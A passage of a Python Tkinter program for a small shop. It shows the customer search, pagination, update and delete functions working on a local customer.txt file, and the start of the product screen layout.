textvariable = agemax21, width = 5, font = 30)\r\n\tagemax_entry21.grid(row = 4, column = 3, sticky = E)\r\n\r\n\t# Gender\r\n\tLabel(fr211, text = \"Gender\", font = (\"Tahoma\", 20)).grid(row = 6, column = 0, sticky = W, padx = 30)\r\n\tLabel(fr211).grid(row = 7)\r\n\tgender21 = StringVar()\r\n\tOptionMenu(fr211, gender21, \"All\", \"Male\", \"Female\").grid(row = 6, column = 1, columnspan = 2, sticky = W)\r\n\t# Radiobutton(fr211, text = \"All\", font = 14, variable = gender21, value = 3).grid(row = 6, column = 1, sticky = W)\r\n\t# Radiobutton(fr211, text = \"Male\", font = 14, variable = gender21, value = 1).grid(row = 7, column = 1, sticky = W)\r\n\t# Radiobutton(fr211, text = \"Female\", font = 14, variable = gender21, value = 2).grid(row = 8, column = 1, sticky = W)\r\n\tgender21.set(\"All\")\r\n\r\n\t# Reset\r\n\trs21 = PhotoImage(file = \"reset.png\")\r\n\tButton(fr211, image = rs21, relief = FLAT, command = reset21).grid(row = 9, column = 1, sticky = W)\r\n\t# scr21.bind(\"r\", reset)\r\n\t\r\n\t# SEARCH\r\n\tButton(fr211, text = \"SEARCH\", font = (\"Tahoma\", 16), command = search21).grid(row = 9, column = 2, columnspan = 2, sticky = E)\r\n\tscr21.bind(\"<Return>\", search21)\r\n\tLabel(fr211).grid(row = 10)\r\n\r\n\t# ADD\r\n\tButton(fr211, text = \"UPDATE\", font = (\"Tahoma\", 16), command = update21).grid(row = 10, column = 1, columnspan = 2, sticky = W)\r\n\r\n\t# DELETE\r\n\tButton(fr211, text = \"DELETE\", font = (\"Tahoma\", 16), command = delete21).grid(row = 10, column = 3, sticky = E)\r\n\r\n\ttext_results21 = Label(fr211, font = (\"Arial\", 15))\r\n\ttext_results21.grid(row = 11, column = 1, columnspan = 4, sticky = W)\r\n\r\n\t# Back to login\r\n\tback21 = PhotoImage(file = \"left.png\")\r\n\tLabel(fr211).grid(row = 12)\r\n\tButton(fr211, image = back21, relief = FLAT, command = cus2log21).grid(row = 13, column = 0)\r\n\r\n\t# Check icons\r\n\ticon_true21 = PhotoImage(file = \"true.png\")\r\n\ticon_false21 = PhotoImage(file = \"false.png\")\r\n\ticon_notexist212 = PhotoImage(file = \"notexist2.png\")\r\n\ticon_bg21 =  PhotoImage(file = \"bg.png\")\r\n\r\n\ticon_name21 = Label(fr211, image = icon_bg21)\r\n\ticon_name21.grid(row = 0, column = 4, padx = 20)\r\n\ticon_phone21 = Label(fr211, image = icon_bg21)\r\n\ticon_phone21.grid(row = 2, column = 4, padx = 20)\r\n\ticon_age21 = Label(fr211, image = icon_bg21)\r\n\ticon_age21.grid(row = 4, column = 4, padx = 20)\r\n\ticon_gender21 = Label(fr211, image = icon_bg21)\r\n\ticon_gender21.grid(row = 6, column = 4, padx = 20)\r\n\r\n\t## Results\r\n\tfr212 = Frame(fr)\r\n\tLabel(fr212, text = \"No.\", font = (\"Tahoma\", 20)).grid(row = 0, column = 5, padx = 20)\r\n\tLabel(fr212, text = \"Name\", font = (\"Tahoma\", 20)).grid(row = 0, column = 6, columnspan = 2, padx = 50)\r\n\tLabel(fr212, text = \"Phone\", font = (\"Tahoma\", 20)).grid(row = 0, column = 8, columnspan = 2, padx = 40)\r\n\tLabel(fr212, text = \"Age\", font = (\"Tahoma\", 20)).grid(row = 0, column = 10, padx = 20)\r\n\tLabel(fr212, text = \"Gen.\", font = (\"Tahoma\", 20)).grid(row = 0, column = 11, padx = 20)\r\n\tLabel(fr212, text = \"Price\", font = (\"Tahoma\", 20)).grid(row = 0, column = 12, padx = 20)\r\n\t\r\n\t# No.\r\n\tresults21 = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\r\n\tfor i in range(1, 11):\r\n\t\tresults21[i] = Label(fr212, font = (\"Tahoma\", 20))\r\n\t\tresults21[i].grid(row = i, column = 5)\r\n\r\n\t# Name\r\n\tresults21_name = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\r\n\tfor i in range(1, 11):\r\n\t\tresults21_name[i] = Label(fr212, font = (\"Arial\", 15))\r\n\t\tresults21_name[i].grid(row = i, column = 6, columnspan = 2)\r\n\r\n\t# Phone\r\n\tresults21_phone = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\r\n\tfor i in range(1, 11):\r\n\t\tresults21_phone[i] = Label(fr212, font = (\"Arial\", 15))\r\n\t\tresults21_phone[i].grid(row = i, column = 8, columnspan = 2)\r\n\t# Age\r\n\tresults21_age = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\r\n\tfor i in range(1, 11):\r\n\t\tresults21_age[i] = Label(fr212, font = (\"Arial\", 15))\r\n\t\tresults21_age[i].grid(row = i, column = 10)\r\n\r\n\t# Gender\r\n\tresults21_gender = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\r\n\tfor i in range(1, 11):\r\n\t\tresults21_gender[i] = Label(fr212, font = (\"Arial\", 15))\r\n\t\tresults21_gender[i].grid(row = i, column = 11)\r\n\r\n\t# Price\r\n\tresults21_price = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\r\n\tfor i in range(1, 11):\r\n\t\tresults21_price[i] = Label(fr212, font = (\"Arial\", 15))\r\n\t\tresults21_price[i].grid(row = i, column = 12)\r\n\t\t\r\n\tbtn_first21 = Button(fr212, font = (\"Arial\", 15), relief = FLAT)\r\n\tbtn_first21.grid(row = 11, column = 6)\r\n\tbtn_prev21 = Button(fr212, font = (\"Arial\", 15), relief = FLAT)\r\n\tbtn_prev21.grid(row = 11, column = 7)\r\n\tbtn_next21 = Button(fr212, font = (\"Arial\", 15), relief = FLAT)\r\n\tbtn_next21.grid(row = 11, column = 8)\r\n\tbtn_end21 = Button(fr212, font = (\"Arial\", 15), relief = FLAT)\r\n\tbtn_end21.grid(row = 11, column = 9)\r\n\ticon_page21 = Label(fr212, font = (\"Arial\", 15))\r\n\ticon_page21.grid(row = 11, column = 12)\r\n\t\r\n\tfr211.grid(row = 0, rowspan = 100, column = 0, columnspan = 5)\r\n\tfr212.grid(row = 0, rowspan = 100, column = 5, columnspan = 5, sticky = \"nw\")\r\n\tfr.grid(row = 1)\r\n\r\ndef cus2log21():\r\n\tx0 = scr21.winfo_x()\r\n\ty0 = scr21.winfo_y()\r\n\tscr21.destroy()\r\n\tscr02.deiconify()\r\n\tscr02.geometry(\"1200x700+%d+%d\" %(x0, y0))\r\n\r\ndef reset21(*arg):\r\n\tname_entry21.delete(0, END)\r\n\tphone_entry21.delete(0, END)\r\n\tagemin_entry21.delete(0, END)\r\n\tagemax_entry21.delete(0, END)\r\n\tgender21.set(\"All\")\r\n\ticon_name21.configure(image = icon_bg21)\r\n\ticon_phone21.configure(image = icon_bg21)\r\n\ticon_age21.configure(image = icon_bg21)\r\n\ttext_results21.configure(text = \"\")\r\n\tfor i in range(1, 11):\r\n\t\tresults21[i].configure(text = \"\")\r\n\t\tresults21_name[i].configure(text = \"\")\r\n\t\tresults21_phone[i].configure(text = \"\")\r\n\t\tresults21_age[i].configure(text = \"\")\r\n\t\tresults21_gender[i].configure(text = \"\")\r\n\t\tresults21_price[i].configure(text = \"\")\r\n\tbtn_first21.configure(text = \"\", command = donothing)\r\n\tbtn_prev21.configure(text = \"\", command = donothing)\r\n\tbtn_next21.configure(text = \"\", command = donothing)\r\n\tbtn_end21.configure(text = \"\", command = donothing)\r\n\ticon_page21.configure(text = \"\", relief = FLAT)\r\n\r\ndef search21(*arg):\r\n\tglobal numOfresults21\r\n\tglobal numOfpages21\r\n\tglobal page21\r\n\tglobal name211\r\n\tglobal phone211\r\n\tglobal age211\r\n\tglobal gender211\r\n\tglobal price211\r\n\t\r\n\tfile = open(\"customer.txt\")\r\n\tlines = sum(1 for line in file)\r\n\tfile.seek(0)\r\n\tdata = []; name211 = []; phone211 = []; age211 = []; gender211 = []; price211 = []\r\n\tfor i in range(0, lines):\r\n\t\tdata.append(file.readline()) \r\n\tfile.close()\r\n\r\n\tfor i in range(0, lines):\r\n\t\tsub = data[i].split()\r\n\t\tname211.append(sub[0])\r\n\t\tphone211.append(sub[1])\r\n\t\tage211.append(sub[2])\r\n\t\tgender211.append(sub[3])\r\n\t\tprice211.append(sub[4])\r\n\r\n\tname2 = []; phone2 = []; age2 = []; gender2 = []; price2 = []\t\r\n\tfor i in range(0, len(name211)):\r\n\t\tif name211[i] == \"x\":\r\n\t\t\tname2.append(name211[i])\r\n\t\t\tphone2.append(phone211[i])\r\n\t\t\tage2.append(age211[i])\r\n\t\t\tgender2.append(gender211[i])\r\n\t\t\tprice2.append(price211[i])\r\n\tname211 = name2; phone211 = phone2; age211 = age2; gender211 = gender2; price211 = price2\r\n\tname2 = []; phone2 = []; age2 = []; gender2 = []; price2 = []\r\n\r\n\tnumOfresults21 = len(name211)\r\n\tif (numOfresults21 == 0) or (numOfresults21 == 1):\r\n\t\ttext_results21.configure(text = \"%d result found\" %numOfresults21)\r\n\telse:\r\n\t\ttext_results21.configure(text = \"%d results found\" %numOfresults21)\r\n\tif numOfresults21 == 0:\r\n\t\tfor i in range(1, 11):\r\n\t\t\tresults21[i].configure(text = \"\")\r\n\t\t\tresults21_name[i].configure(text = \"\")\r\n\t\t\tresults21_phone[i].configure(text = \"\")\r\n\t\t\tresults21_age[i].configure(text = \"\")\r\n\t\t\tresults21_gender[i].configure(text = \"\")\r\n\t\t\tresults21_price[i].configure(text = \"\")\r\n\telse:\r\n\t\tnumOfpages21 = ((numOfresults21 - 1) // 10) + 1\r\n\t\tbtn_first21.configure(text = \"1\", command = first21)\r\n\t\tbtn_prev21.configure(text = \"<\", command = prev21)\r\n\t\tbtn_next21.configure(text = \">\", command = next21)\r\n\t\tbtn_end21.configure(text = \"End\", command = end21)\r\n\t\tpage21 = 1\r\n\t\tshowResults21(page21)\r\n\r\ndef showResults21(index):\r\n\ticon_page21.configure(text = index, relief = GROOVE)\r\n\tif index == numOfpages21:\r\n\t\tfor i in range(1, numOfresults21 - 10*(numOfpages21 - 1) + 1):\r\n\t\t\tresults21[i].configure(text = 10*(numOfpages21 - 1) + i)\r\n\t\t\tresults21_name[i].configure(text = name211[10*(numOfpages21 - 1) + i - 1])\r\n\t\t\tresults21_phone[i].configure(text = phone211[10*(numOfpages21 - 1) + i - 1])\r\n\t\t\tresults21_age[i].configure(text = age211[10*(numOfpages21 - 1) + i - 1])\r\n\t\t\tresults21_gender[i].configure(text = gender211[10*(numOfpages21 - 1) + i - 1])\r\n\t\t\tresults21_price[i].configure(text = price211[10*(numOfpages21 - 1) + i - 1])\r\n\t\tif (numOfresults21 % 10) != 0:\r\n\t\t\tfor i in range((numOfresults21 % 10) + 1, 11):\r\n\t\t\t\tresults21[i].configure(text = \"\")\r\n\t\t\t\tresults21_name[i].configure(text = \"\")\r\n\t\t\t\tresults21_phone[i].configure(text = \"\")\r\n\t\t\t\tresults21_age[i].configure(text = \"\")\r\n\t\t\t\tresults21_gender[i].configure(text = \"\")\r\n\t\t\t\tresults21_price[i].configure(text = \"\")\r\n\telse:\r\n\t\tfor j in range(1, 11):\r\n\t\t\tresults21[j].configure(text = 10*(index - 1) + j)\r\n\t\t\tresults21_name[j].configure(text = name211[10*(index - 1) + j - 1])\r\n\t\t\tresults21_phone[j].configure(text = phone211[10*(index - 1) + j - 1])\r\n\t\t\tresults21_age[j].configure(text = age211[10*(index - 1) + j - 1])\r\n\t\t\tresults21_gender[j].configure(text = gender211[10*(index - 1) + j - 1])\r\n\t\t\tresults21_price[j].configure(text = price211[10*(index - 1) + j - 1])\r\n\r\n# Buttons for showing results\r\ndef first21():\r\n\tglobal page21\r\n\tpage21 = 1\r\n\tshowResults21(page21)\r\n\r\ndef prev21():\r\n\tglobal page21\r\n\tif page21 != 1:\r\n\t\tpage21 -= 1\r\n\t\tshowResults21(page21)\r\n\r\ndef next21():\r\n\tglobal page21\r\n\tif page21 != numOfpages21:\r\n\t\tpage21 += 1\r\n\t\tshowResults21(page21)\r\n\r\ndef end21():\r\n\tglobal page21\r\n\tpage21 = numOfpages21\r\n\tshowResults21(page21)\r\n\r\n# UPDATE\r\ndef update21():\r\n\tname210 = name_entry21.get()\r\n\tphone210 = phone_entry21.get()\r\n\tagemin210 = agemin_entry21.get()\r\n\tagemax210 = agemax_entry21.get()\r\n\tgender210 = gender21.get()\r\n\r\n\tbtn_first21.configure(text = \"\", command = donothing)\r\n\tbtn_prev21.configure(text = \"\", command = donothing)\r\n\tbtn_next21.configure(text = \"\", command = donothing)\r\n\tbtn_end21.configure(text = \"\", command = donothing)\r\n\ticon_page21.configure(text = \"\", relief = FLAT)\r\n\r\n\t# Check name\r\n\tcheck_name = True\r\n\tif name210 == \"\":\r\n\t\tcheck_name = False\r\n\telse:\r\n\t\tname210 = name210.upper()  # Capitalize all letters11 of name\r\n\t\tfor i in range (0, len(name210)):\r\n\t\t\tif (ord(name210[i]) != 32) and ((ord(name210[i]) < 65) or (ord(name210[i]) > 90)):\r\n\t\t\t\tcheck_name = False\r\n\t\r\n\tif check_name:\r\n\t\ticon_name21.configure(image = icon_true21)\r\n\telse:\r\n\t\ticon_name21.configure(image = icon_false21)\r\n\r\n\t# Check phone\r\n\tcheck_phone = True\r\n\tif phone210 == \"\":\r\n\t\tcheck_phone = False\r\n\telse:\r\n\t\tcheck_phone = phone210.isdigit()\r\n\t\r\n\tf_phone = False\r\n\tif check_phone:\r\n\t\tf_phone = True\r\n\t\tfile = open(\"customer.txt\")\r\n\t\tlines = sum(1 for line in file)\r\n\t\tfile.seek(0)\r\n\t\tdata = []; name211 = []; phone211 = []; price211 = []\r\n\t\tfor i in range(0, lines):\r\n\t\t\tdata.append(file.readline()) \r\n\t\tfile.close()\r\n\r\n\t\tfor i in range(0, lines):\r\n\t\t\tsub = data[i].split()\r\n\t\t\tname211.append(sub[0])\r\n\t\t\tphone211.append(sub[1])\r\n\t\t\tprice211.append(sub[4])\r\n\r\n\t\tname2 = []; phone2 = []; price2 = []\t\r\n\t\tfor i in range(0, len(name211)):\r\n\t\t\tif name211[i] == \"x\":\r\n\t\t\t\tname2.append(name211[i])\r\n\t\t\t\tphone2.append(phone211[i])\r\n\t\t\t\tprice2.append(price211[i])\r\n\t\tname211 = name2; phone211 = phone2; price211 = price2\r\n\t\tname2 = []; phone2 = []; price2 = []\r\n\r\n\t\tfor i in range(0, len(phone211)):\r\n\t\t\tif phone211[i] == phone210:\r\n\t\t\t\tname2.append(name211[i])\r\n\t\t\t\tphone2.append(phone211[i])\r\n\t\t\t\tprice2.append(price211[i])\r\n\t\t\t\tprice210 = price211[i]\r\n\t\tname211 = name2; phone211 = phone2; price211 = price2\r\n\t\tname2 = []; phone2 = []; price2 = []\r\n\r\n\t\tif len(name211) > 0:\r\n\t\t\ticon_phone21.configure(image = icon_true21)\r\n\t\telse:\r\n\t\t\tf_phone = False\r\n\t\t\ticon_phone21.configure(image = icon_notexist212)\r\n\telse:\r\n\t\ticon_phone21.configure(image = icon_false21)\r\n\r\n\t# Check age\r\n\tcheck_age = True\r\n\tif agemin210 == \"\" or agemax210 == \"\":\r\n\t\tcheck_age = False\r\n\telse:\r\n\t\tcheck_age = agemin210.isdigit() and agemax210.isdigit() and agemin210 == agemax210\r\n\r\n\tif check_age:\r\n\t\ticon_age21.configure(image = icon_true21)\r\n\telse:\r\n\t\ticon_age21.configure(image = icon_false21)\r\n\r\n\t# Check gender\r\n\tcheck_gender = True\r\n\tif gender210 == \"All\":\r\n\t\tcheck_gender = False\r\n\telif gender210 == \"Male\":\r\n\t\tcheck_gender = True\r\n\t\tgender210 = \"M\"\r\n\telif gender210 == \"Female\":\r\n\t\tcheck_gender = True\r\n\t\tgender210 = \"F\"\r\n\r\n\tif check_gender:\r\n\t\ticon_gender21.configure(image = icon_true21)\r\n\telse:\r\n\t\ticon_gender21.configure(image = icon_false21)\r\n\r\n\t# All checks are true\r\n\tif check_name and f_phone and check_age and check_gender:\r\n\t\ttext_results21.configure(text = \"1 result found\")\r\n\t\tresults21[1].configure(text = \"1\")\r\n\t\tresults21_name[1].configure(text = \"x\")\r\n\t\tresults21_phone[1].configure(text = phone210)\r\n\t\tresults21_age[1].configure(text = \"0\")\r\n\t\tresults21_gender[1].configure(text = \"x\")\r\n\t\tresults21_price[1].configure(text = price210)\r\n\t\tfor i in range(2, 11):\r\n\t\t\tresults21[i].configure(text = \"\")\r\n\t\t\tresults21_name[i].configure(text = \"\")\r\n\t\t\tresults21_phone[i].configure(text = \"\")\r\n\t\t\tresults21_age[i].configure(text = \"\")\r\n\t\t\tresults21_gender[i].configure(text = \"\")\r\n\t\t\tresults21_price[i].configure(text = \"\")\r\n\r\n\t\tfile = open(\"customer.txt\")\r\n\t\tlines = sum(1 for line in file)\r\n\t\tfile.seek(0)\r\n\t\tdata = []; name212 = []; phone212 = []; age212 = []; gender212 = []; price212 = []\r\n\t\tfor i in range(0, lines):\r\n\t\t\tdata.append(file.readline()) \r\n\t\tfile.close()\r\n\r\n\t\tfor i in range(0, lines):\r\n\t\t\tsub = data[i].split()\r\n\t\t\tname212.append(sub[0])\r\n\t\t\tphone212.append(sub[1])\r\n\t\t\tage212.append(sub[2])\r\n\t\t\tgender212.append(sub[3])\r\n\t\t\tprice212.append(sub[4])\r\n\r\n\t\tfor i in range(0, len(phone212)):\r\n\t\t\tif phone212[i] == phone210:\r\n\t\t\t\tname210 = name210.upper()\r\n\t\t\t\tname210 = name210.replace(\" \", \".\", 10)\r\n\t\t\t\tdata[i] = name210 + \" \" + phone210 + \" \" + agemin210 + \" \" + gender210 + \" \" + price210 + \"\\n\"\r\n\t\t\t\tbreak\r\n\t\tif messagebox.askquestion(\"Shop BK\", \"Do you really want to update this customer?\") == 'yes':\r\n\t\t\tfile = open(\"customer.txt\", \"r+\")\r\n\t\t\tfile.writelines([\"%s\" %item for item in data])\r\n\t\t\tfile.close()\r\n\r\n\t\t\t# Show\r\n\t\t\tname210 = name210.lower()\r\n\t\t\tname210 = name210.replace(\".\", \" \", 10)\r\n\t\t\tname210 = name210.title()\r\n\t\t\tresults21_name[1].configure(text = name210)\r\n\t\t\tresults21_phone[1].configure(text = phone210)\r\n\t\t\tresults21_age[1].configure(text = agemin210)\r\n\t\t\tresults21_gender[1].configure(text = gender210)\r\n\t\t\tresults21_price[1].configure(text = price210)\r\n\telse:\r\n\t\ttext_results21.configure(text = \"\")\r\n\t\tfor i in range(1, 11):\r\n\t\t\tresults21[i].configure(text = \"\")\r\n\t\t\tresults21_name[i].configure(text = \"\")\r\n\t\t\tresults21_phone[i].configure(text = \"\")\r\n\t\t\tresults21_age[i].configure(text = \"\")\r\n\t\t\tresults21_gender[i].configure(text = \"\")\r\n\t\t\tresults21_price[i].configure(text = \"\")\r\n\t\t\t\r\ndef delete21():\r\n\tbtn_first21.configure(text = \"\", command = donothing)\r\n\tbtn_prev21.configure(text = \"\", command = donothing)\r\n\tbtn_next21.configure(text = \"\", command = donothing)\r\n\tbtn_end21.configure(text = \"\", command = donothing)\r\n\ticon_page21.configure(text = \"\", relief = FLAT)\r\n\r\n\ticon_name21.configure(image = icon_bg21)\r\n\ticon_age21.configure(image = icon_bg21)\r\n\ticon_gender21.configure(image = icon_bg21)\r\n\tphone210 = phone_entry21.get()\r\n\t# Check phone\r\n\tcheck_phone = True\r\n\tif phone210 == \"\":\r\n\t\tcheck_phone = False\r\n\telse:\r\n\t\tcheck_phone = phone210.isdigit()\r\n\r\n\tf_phone = False\r\n\tif check_phone:\r\n\t\tf_phone = True\r\n\t\tfile = open(\"customer.txt\")\r\n\t\tlines = sum(1 for line in file)\r\n\t\tfile.seek(0)\r\n\t\tdata = []; phone211 = []; sub2 = \"\"; name211 = \"\"; age211 = \"\"; gender = \"\"; price211 = \"\" \r\n\t\tfor i in range(0, lines):\r\n\t\t\tdata.append(file.readline()) \r\n\t\tfile.close()\r\n\r\n\t\tfor i in range(0, lines):\r\n\t\t\tsub = data[i].split()\r\n\t\t\tphone211.append(sub[1])\r\n\t\t\r\n\t\tfor i in range(0, len(phone211)):\r\n\t\t\tif phone211[i] == phone210:\r\n\t\t\t\tsub2 = data[i]\r\n\t\t\t\tsub3 = sub2.split()\r\n\t\t\t\tname211 = sub3[0]\r\n\t\t\t\tphone211 = sub3[1]\r\n\t\t\t\tage211 = sub3[2]\r\n\t\t\t\tgender211 = sub3[3]\r\n\t\t\t\tprice211 = sub3[4]\r\n\t\t\t\tbreak\r\n\r\n\t\tif sub2 != \"\":\r\n\t\t\ticon_phone21.configure(image = icon_true21)\r\n\t\t\tdata.remove(sub2)\r\n\t\telse:\r\n\t\t\tf_phone = False\r\n\t\t\ticon_phone21.configure(image = icon_notexist212)\r\n\telse:\r\n\t\ticon_phone21.configure(image = icon_false21)\r\n\r\n\tif f_phone:\r\n\t\ttext_results21.configure(text = \"1 result found\")\r\n\t\tresults21[1].configure(text = \"1\")\r\n\t\tresults21_name[1].configure(text = name211)\r\n\t\tresults21_phone[1].configure(text = phone211)\r\n\t\tresults21_age[1].configure(text = age211)\r\n\t\tresults21_gender[1].configure(text = gender211)\r\n\t\tresults21_price[1].configure(text = price211)\r\n\r\n\t\tprint(data)\r\n\t\tif messagebox.askquestion(\"Shop BK\", \"Do you really want to delete this customer?\") == 'yes':\r\n\t\t\tfile = open(\"customer.txt\", \"w\")\r\n\t\t\tfile.writelines([\"%s\" %item for item in data])\r\n\t\t\tfile.close()\r\n\r\n\t\t\t# Show\r\n\t\t\ttext_results21.configure(text = \"\")\r\n\t\t\ticon_phone21.configure(image = icon_bg21)\r\n\t\t\tresults21[1].configure(text = \"\")\r\n\t\t\tresults21_name[1].configure(text = \"\")\r\n\t\t\tresults21_phone[1].configure(text = \"\")\r\n\t\t\tresults21_age[1].configure(text = \"\")\r\n\t\t\tresults21_gender[1].configure(text = \"\")\r\n\t\t\tresults21_price[1].configure(text = \"\")\r\n\telse:\r\n\t\ttext_results21.configure(text = \"\")\r\n\t\tfor i in range(1, 11):\r\n\t\t\tresults21[i].configure(text = \"\")\r\n\t\t\tresults21_name[i].configure(text = \"\")\r\n\t\t\tresults21_phone[i].configure(text = \"\")\r\n\t\t\tresults21_age[i].configure(text = \"\")\r\n\t\t\tresults21_gender[i].configure(text = \"\")\r\n\t\t\tresults21_price[i].configure(text = \"\")\r\n\r\n## PRODUCT ##\r\ndef product2(*arg):\r\n\tglobal scr22\r\n\tglobal fr221\r\n\tglobal fr222\r\n\tglobal id_entry22\r\n\tglobal type_entry22\r\n\tglobal size_entry22\r\n\tglobal brand_entry22\r\n\tglobal rs22\r\n\tglobal icon_id22\r\n\tglobal icon_type22\r\n\tglobal icon_size22\r\n\tglobal icon_brand22\r\n\tglobal icon_price22\r\n\tglobal icon_true22\r\n\tglobal icon_false22\r\n\tglobal icon_notexist222\r\n\tglobal icon_bg22\r\n\tglobal results22\r\n\tglobal results22_id\r\n\tglobal results22_type\r\n\tglobal results22_size\r\n\tglobal results22_brand\r\n\tglobal results22_quantity\r\n\tglobal results22_price\r\n\tglobal btn_first22\r\n\tglobal btn_prev22\r\n\tglobal btn_next22\r\n\tglobal btn_end22\r\n\tglobal text_results22\r\n\tglobal icon_page22\r\n\tglobal back22\r\n\r\n\tscr02.withdraw()\r\n\tscr22 = Toplevel(scr02)\r\n\tx0 = scr02.winfo_x()\r\n\ty0 = scr02.winfo_y()\r\n\tscr22.geometry(\"1200x700+%d+%d\" %(x0, y0))\r\n\tscr22.title(\"Product\")\r\n\tscr22.resizable(width = False, height = False)\r\n\tscr22.protocol(\"WM_DELETE_WINDOW\", close)\r\n\tlogo(scr22, 12)\r\n\r\n\t## Info\r\n\tfr = Frame(scr22)\r\n\tfr221 = Frame(fr)\r\n\r\n\t# ID\r\n\tLabel(fr221, text = \"ID\", font = (\"Tahoma\", 20)).grid(row = 0, column = 0, sticky = W, padx = 30)\r\n\tLabel(fr221).grid(row = 1)\r\n\tid22 = StringVar()\r\n\tid_entry22 = Entry(fr221, textvariable = id22, width = 20, font = 30)\r\n\tid_entry22.grid(row = 0, column = 1, columnspan = 3, sticky = W)\r\n\t\r\n\t# Type\r\n\tLabel(fr221, text = \"Type\", font = (\"Tahoma\", 20)).grid(row = 2, column = 0, sticky = W, padx = 30)\r\n\tLabel(fr221).grid(row = 3)\r\n\ttype22 = StringVar()\r\n\ttype_entry22 = Entry(fr221, textvariable = type22, width = 20, font = 30)\r\n\ttype_entry22.grid(row = 2, column = 1, columnspan = 3, sticky = W)\r\n\r\n\t# Size\r\n\tLabel(fr221, text = \"Size\", font = (\"Tahoma\", 20)).grid(row = 4, column = 0, sticky = W, padx = 30)\r\n\tLabel(fr221).grid(row = 5)\r\n\tsize22 = StringVar()\r\n\tsize_entry22 = Entry(fr221, textvariable = size22, width = 20, font = 30)\r\n\tsize_entry22.grid(row = 4, column = 1, columnspan = 3, sticky = W)\r\n\r\n\t# Brand\r\n\tLabel(fr221, text = \"Brand\", font = (\"Tahoma\", 20)).grid(row = 6, column = 0, sticky = W, padx = 30)\r\n\tLabel(fr221).grid(row = 7)\r\n\tbrand22 = StringVar()\r\n\tbrand_entry22 = Entry(fr221, textvariable = brand22, width = 20, font = 30)\r\n\tbrand_entry22.grid(row = 6, column = 1, columnspan = 3, sticky = W)\r\n\r\n\t# Reset\r\n\trs22 = PhotoImage(file = \"reset.png\")\r\n\tButton(fr221, image = rs22, relief = FLAT, command = reset22).grid(row = 8, column = 1, sticky = W)\r\n\t# scr22.bind(\"F1\", reset)\r\n\r\n\t# SEARCH\r\n\tButton(fr221, text = \"SEARCH\", font = (\"Tahoma\", 16), command = search22).grid(row = 8, column = 2, columnspan = 2, sticky = E)\r\n\tscr22.bind(\"<Return>\", search22)\r\n\r\n\t# UPDATE\r\n\tButton(fr221, text = \"UPDATE\", font = (\"Tahoma\", 16), command = update22).grid(row = 9, column = 1, columnspan = 2, sticky = W)\r\n\r\n\t# DELETE\r\n\tButton(fr221, text = \"DELETE\", font = (\"Tahoma\", 16), command = delete22).grid(row = 9, column = 3, sticky = E)\r\n\r\n\ttext_results22 = Label(fr221, font = (\"Arial\", 15))\r\n\ttext_results22.grid(row = 10, column = 1, columnspan = 4, sticky = W)\r\n\r\n\t# Back to login\r\n\tback22 = PhotoImage(file = \"left.png\")\r\n\tButton(fr221, image = back22, relief = FLAT, command = pro2log22).grid(row = 11, column = 0)\r\n\r\n\t# Check icons\r\n\ticon_true22 = PhotoImage(file = \"true.png\")\r\n\ticon_false22 = PhotoImage(file = \"false.png\")\r\n\ticon_notexist222 = PhotoImage(file = \"notexist2.png\")\r\n\ticon_bg22 =  PhotoImage(file = \"bg.png\")\r\n\r\n\ticon_id22 = Label(fr221, image = icon_bg22)\r\n\ticon_id22.grid(row = 0, column = 4, padx = 20)\r\n\ticon_type22 = Label(fr221, image = icon_bg22)\r\n\ticon_type22.grid(row = 2, column = 4, padx = 20)\r\n\ticon_size22 = Label(fr221, image = icon_bg22)\r\n\ticon_size22.grid(row = 4, column = 4, padx = 20)\r\n\ticon_brand22 = Label(fr221, image = icon_bg22)\r\n\ticon_brand22.grid(row = 6, column = 4, padx = 20)\r\n\ticon_price22 = Label(fr221, image = icon_bg22)\r\n\ticon_price22.grid(row = 8, column = 4, padx = 20)\r\n\r\n\t## Results\r\n\tfr222 = Frame(fr)\r\n\tLabel(fr222, text = \"No.\", font = (\"Tahoma\", 20)).grid(row = 0, column = 5, padx = 20)\r\n\tLabel(fr222, text = \"ID\", font = (\"Tahoma\", 20)).grid(row = 0, column = 6, padx = 20)\r\n\tLabel(fr222, text = \"Type\", font = (\"Tahoma\", 20)).grid(row = 0, column = 7, padx = 20)\r\n\tLabel(fr222, text = \"Size\", font = (\"Tahoma\", 20)).grid(row = 0, column = 8, padx = 20)\r\n\tLabel(fr222, text = \"Brand\", font = (\"Tahoma\", 20)).grid(row = 0, column = 9, columnspan = 2, padx = 20)\r\n\tLabel(fr222, text = \"Quan.\", font = (\"Tahoma\", 20)).grid(row = 0, column = 11, padx = 20)\r\n\tLabel(fr222, text = \"Price\", font = (\"Tahoma\", 20)).grid(row = 0, column = 12, padx = 20)\r\n\t\r\n\t# No.\r\n\tresults22 = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\r\n\tfor i in range(1, 11):\r\n\t\tresults22[i] = Label(fr222, font = (\"Tahoma\", 20))\r\n\t\tresults22[i].grid(row = i, column = 5)\r\n\r\n\t# ID\r\n\tresults22_id = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\r\n\tfor i in range(1, 11):\r\n\t\tresults22_id[i] = Label(fr222, font = (\"Arial\", 15))\r\n\t\tresults22_id[i].grid(row = i, column = 6)\r\n\r\n\t# Type\r\n\tresults22_type = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\r\n\tfor i in range(1, 11):\r\n\t\tresults22_type[i] = Label(fr222, font = (\"Arial\", 15))\r\n\t\tresults22_type[i].grid(row = i, column = 7)\r\n\r\n\t# Size\r\n\tresults22_size = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\r\n\tfor i in range(1, 11):\r\n\t\tresults22_size[i] = Label(fr222, font = (\"Arial\", 15))\r\n\t\tresults22_size[i].grid(row = i, column = 8)\r\n\r\n\t# Brand\r\n\tresults22_brand = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\r\n\tfor i in range(1, 11):\r\n\t\tresults22_brand[i] = Label(fr222, font = (\"Arial\", 15))\r\n\t\tresults22_brand[i].grid(row = i, column = 9, columnspan = 2)\r\n\r\n\t# Quantity\r\n\tresults22_quantity = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\r\n\tfor i in range(1, 11):\r\n\t\tresults22_quantity[i] = Label(fr222, font = (\"Arial\", 